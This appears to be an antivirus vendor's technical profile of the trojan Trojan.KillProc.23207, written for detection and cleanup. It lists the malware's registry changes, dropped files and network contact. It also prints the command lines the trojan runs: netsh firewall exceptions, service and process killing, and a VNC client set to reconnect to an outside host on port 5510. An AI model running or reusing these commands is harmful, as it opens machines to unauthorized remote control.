Trojan.KillProc.23207

Technical Information

To ensure autorun and distribution:

Creates the following services:

[<HKLM>\SYSTEM\ControlSet001\Services\uvnc_service] 'Start' = '00000002'

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe' = '%PROGRAM_FILES%\1c2.0.9\winvncsc.exe:*:Enabled:OneClick-Server'

Creates and executes the following:

%TEMP%\nsh5.tmp\ns18.tmp cmd.exe /C del /P /Q "%HOMEPATH%\Desktop\Tools.url"
%TEMP%\nsh5.tmp\ns19.tmp "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
%TEMP%\nsh5.tmp\ns1A.tmp "netsh.exe" firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
%TEMP%\nsh5.tmp\ns17.tmp cmd.exe /C del /P /Q "%HOMEPATH%\Start Menu\Tools.url"
%TEMP%\nsh5.tmp\ns14.tmp "%PROGRAM_FILES%\1c2.0.9\Uninst.exe"
%TEMP%\nsh5.tmp\ns15.tmp cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Start Menu\Tools.url"
%TEMP%\nsh5.tmp\ns16.tmp cmd.exe /C del /P /Q "%ALLUSERSPROFILE%\Desktop\Tools.url"
%TEMP%\nsh5.tmp\ns1B.tmp "sc.exe" stop uvnc_service
%PROGRAM_FILES%\1c2.0.9\winvncsc.exe -service
%TEMP%\nsh5.tmp\ns1F.tmp "net.exe" start uvnc_service
%PROGRAM_FILES%\1c2.0.9\winvncsc.exe -autoreconnect -sc_prompt -connect vnc.acsaccess.com::5510 -service_run
%PROGRAM_FILES%\1c2.0.9\winvncsc.exe -install
%TEMP%\nsh5.tmp\ns1C.tmp "net.exe" stop uvnc_service
%TEMP%\nsh5.tmp\ns1D.tmp "sc.exe" delete uvnc_service
%TEMP%\nsh5.tmp\ns1E.tmp "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" -install
%TEMP%\nsh5.tmp\ns9.tmp "sc.exe" delete winvnc
%TEMP%\nsh5.tmp\nsA.tmp "net.exe" stop WinVNC4
%TEMP%\nsh5.tmp\nsB.tmp "sc.exe" delete winvnc4
%TEMP%\nsh5.tmp\ns8.tmp "net.exe" stop WinVNC
%TEMP%\nsi3.tmp\WebGetS.exe /3
%TEMP%\nsh5.tmp\ns6.tmp "net.exe" stop uvnc_service
%TEMP%\nsh5.tmp\ns7.tmp "sc.exe" delete uvnc_service
%TEMP%\nsh5.tmp\nsC.tmp "tskill.exe" WinVncSC
%TEMP%\nsh5.tmp\ns11.tmp "taskkill.exe" /F /IM AvncMenu.exe /T
%TEMP%\nsh5.tmp\ns12.tmp "tskill.exe" WinVnc
%TEMP%\nsh5.tmp\ns13.tmp "taskkill.exe" /F /IM WinVnc.exe /T
%TEMP%\nsh5.tmp\ns10.tmp "taskkill.exe" /F /IM WinVncSC.exe /T
%TEMP%\nsh5.tmp\nsD.tmp "tskill.exe" 1click
%TEMP%\nsh5.tmp\nsE.tmp "tskill.exe" AvncMenu
%TEMP%\nsh5.tmp\nsF.tmp "taskkill.exe" /F /IM 1click.exe /T

Executes the following:

<SYSTEM32>\taskkill.exe /F /IM AvncMenu.exe /T
<SYSTEM32>\tskill.exe WinVnc
<SYSTEM32>\taskkill.exe /F /IM WinVncSC.exe /T
<SYSTEM32>\tskill.exe AvncMenu
<SYSTEM32>\taskkill.exe /F /IM 1click.exe /T
<SYSTEM32>\taskkill.exe /F /IM WinVnc.exe /T
<SYSTEM32>\net1.exe start "uvnc_service"
<SYSTEM32>\net1.exe start uvnc_service
<SYSTEM32>\sc.exe stop uvnc_service
<SYSTEM32>\netsh.exe firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE ALL
<SYSTEM32>\netsh.exe firewall add allowedprogram "%PROGRAM_FILES%\1c2.0.9\winvncsc.exe" "OneClick-Server" ENABLE
<SYSTEM32>\net.exe stop WinVNC
<SYSTEM32>\net1.exe stop WinVNC
<SYSTEM32>\sc.exe delete uvnc_service
<SYSTEM32>\net.exe stop uvnc_service
<SYSTEM32>\net1.exe stop uvnc_service
<SYSTEM32>\sc.exe delete winvnc
<SYSTEM32>\tskill.exe WinVncSC
<SYSTEM32>\tskill.exe 1click
<SYSTEM32>\sc.exe delete winvnc4
<SYSTEM32>\net.exe stop WinVNC4
<SYSTEM32>\net1.exe stop WinVNC4

Modifies file system :

Creates the following files:

%PROGRAM_FILES%\1c2.0.9\logo.bmp
%PROGRAM_FILES%\1c2.0.9\background.bmp
%PROGRAM_FILES%\1c2.0.9\icon1.ico
%PROGRAM_FILES%\1c2.0.9\icon2.ico
%PROGRAM_FILES%\1c2.0.9\winvncsc.exe
%PROGRAM_FILES%\1c2.0.9\rePaper.exe
%PROGRAM_FILES%\1c2.0.9\OneClick.ini
%PROGRAM_FILES%\1c2.0.9\cad.exe
%PROGRAM_FILES%\1c2.0.9\Ding_Dong.wav
%PROGRAM_FILES%\1c2.0.9\icon0.ico
%TEMP%\nsh5.tmp\ns15.tmp
%TEMP%\nsh5.tmp\ns16.tmp
%PROGRAM_FILES%\1c2.0.9\Advantig.Lic
%TEMP%\nsh5.tmp\ns14.tmp
%TEMP%\nsh5.tmp\ns17.tmp
%PROGRAM_FILES%\1c2.0.9\UltraVnc.ini
%PROGRAM_FILES%\1c2.0.9\stop.ico
%TEMP%\nsh5.tmp\ns18.tmp
%PROGRAM_FILES%\1c2.0.9\Uninst.exe
%TEMP%\nsh5.tmp\ns1D.tmp
%ALLUSERSPROFILE%\Desktop\Re-connect Support.lnk
%TEMP%\nsh5.tmp\ns1B.tmp
%TEMP%\nsh5.tmp\ns1C.tmp
%TEMP%\nsh5.tmp\ns1E.tmp
%ALLUSERSPROFILE%\Start Menu\System Boot Configuration.lnk
%ALLUSERSPROFILE%\Desktop\System Boot Configuration.lnk
%TEMP%\nsh5.tmp\ns1F.tmp
%PROGRAM_FILES%\1c2.0.9\SysCfg.lnk
%TEMP%\nsh5.tmp\ns1A.tmp
%PROGRAM_FILES%\1c2.0.9\boot.ico
%TEMP%\nsi3.tmp\Advantig.ini
%PROGRAM_FILES%\1c2.0.9\CustomText.ini
%PROGRAM_FILES%\1c2.0.9\Goodbye.vbs
%ALLUSERSPROFILE%\Start Menu\Stop Remote Support.lnk
%ALLUSERSPROFILE%\Desktop\1cToolBox.lnk
%TEMP%\nsh5.tmp\ns19.tmp
%ALLUSERSPROFILE%\Desktop\Stop Remote Support.lnk
%ALLUSERSPROFILE%\Start Menu\1cToolBox.lnk
%TEMP%\nsh5.tmp\ns13.tmp
%TEMP%\nsi3.tmp\stop.ico
%TEMP%\nsi3.tmp\boot.ico
%TEMP%\nsi3.tmp\icon1.ico
%TEMP%\nsi3.tmp\icon2.ico
%TEMP%\nsi3.tmp\Ding_Dong.wav
%TEMP%\nsi3.tmp\OneClick.ini
%TEMP%\nsi3.tmp\Goodbye.vbs
%TEMP%\nsi3.tmp\CustomText.ini
%TEMP%\nsi3.tmp\Startup.txt
%TEMP%\nsi3.tmp\icon0.ico
%TEMP%\nsi3.tmp\helpdesk.txt
%TEMP%\nsi3.tmp\winvncsc.exe
%TEMP%\nsd2.tmp
%TEMP%\nsi3.tmp\WebGetS.exe
%TEMP%\nsi3.tmp\UltraVnc.ini
%TEMP%\nsi3.tmp\logo.bmp
%TEMP%\nsi3.tmp\background.bmp
%TEMP%\nsi3.tmp\cad.exe
%TEMP%\nsi3.tmp\Splash.bmp
%TEMP%\nsh5.tmp\nsC.tmp
%TEMP%\nsh5.tmp\nsD.tmp
%TEMP%\nsh5.tmp\nsA.tmp
%TEMP%\nsh5.tmp\nsB.tmp
%TEMP%\nsh5.tmp\nsE.tmp
%TEMP%\nsh5.tmp\ns11.tmp
%TEMP%\nsh5.tmp\ns12.tmp
%TEMP%\nsh5.tmp\nsF.tmp
%TEMP%\nsh5.tmp\ns10.tmp
%TEMP%\nsh5.tmp\ns9.tmp
%TEMP%\nsi3.tmp\rePaper.exe
%TEMP%\nsi3.tmp\AvncMenu.exe
%TEMP%\nsi3.tmp\Splash.dll
%TEMP%\nsi3.tmp\Advantig.Lic
%TEMP%\nsh5.tmp\nsExec.dll
%TEMP%\nsh5.tmp\ns7.tmp
%TEMP%\nsh5.tmp\ns8.tmp
%TEMP%\nsh5.tmp\ns6.tmp
%TEMP%\nsi3.tmp\OC-Done.txt

Deletes the following files:

%TEMP%\nsi3.tmp\AvncMenu.exe
%TEMP%\nsi3.tmp\Advantig.ini
%TEMP%\nsi3.tmp\helpdesk.txt
%TEMP%\nsh5.tmp\ns18.tmp
%TEMP%\nsh5.tmp\ns15.tmp
%TEMP%\nsh5.tmp\ns16.tmp
%TEMP%\nsh5.tmp\ns17.tmp
%TEMP%\nsh5.tmp\ns19.tmp
%TEMP%\nsh5.tmp\ns1E.tmp
%TEMP%\nsh5.tmp\ns1F.tmp
%TEMP%\nsh5.tmp\nsExec.dll
%TEMP%\nsh5.tmp\ns1D.tmp
%TEMP%\nsh5.tmp\ns1A.tmp
%TEMP%\nsh5.tmp\ns1B.tmp
%TEMP%\nsh5.tmp\ns1C.tmp
%TEMP%\nsh5.tmp\nsA.tmp
%TEMP%\nsh5.tmp\nsB.tmp
%TEMP%\nsh5.tmp\nsC.tmp
%TEMP%\nsh5.tmp\ns9.tmp
%TEMP%\nsh5.tmp\ns6.tmp
%TEMP%\nsh5.tmp\ns7.tmp
%TEMP%\nsh5.tmp\ns8.tmp
%TEMP%\nsh5.tmp\nsD.tmp
%TEMP%\nsh5.tmp\ns12.tmp
%TEMP%\nsh5.tmp\ns13.tmp
%TEMP%\nsh5.tmp\ns14.tmp
%TEMP%\nsh5.tmp\ns11.tmp
%TEMP%\nsh5.tmp\nsE.tmp
%TEMP%\nsh5.tmp\nsF.tmp
%TEMP%\nsh5.tmp\ns10.tmp

Network activity:

Connects to:

'vn#.##saccess.com':5510

UDP:

DNS ASK vn#.##saccess.com

Miscellaneous:

Searches for the following windows:

ClassName: '' WindowName: ''
ClassName: 'WinVNC Tray Icon' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''
ClassName: 'WinVNC desktop sink' WindowName: ''
ClassName: '#32770' WindowName: ''
ClassName: 'SysListView32' WindowName: ''

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations

Free trial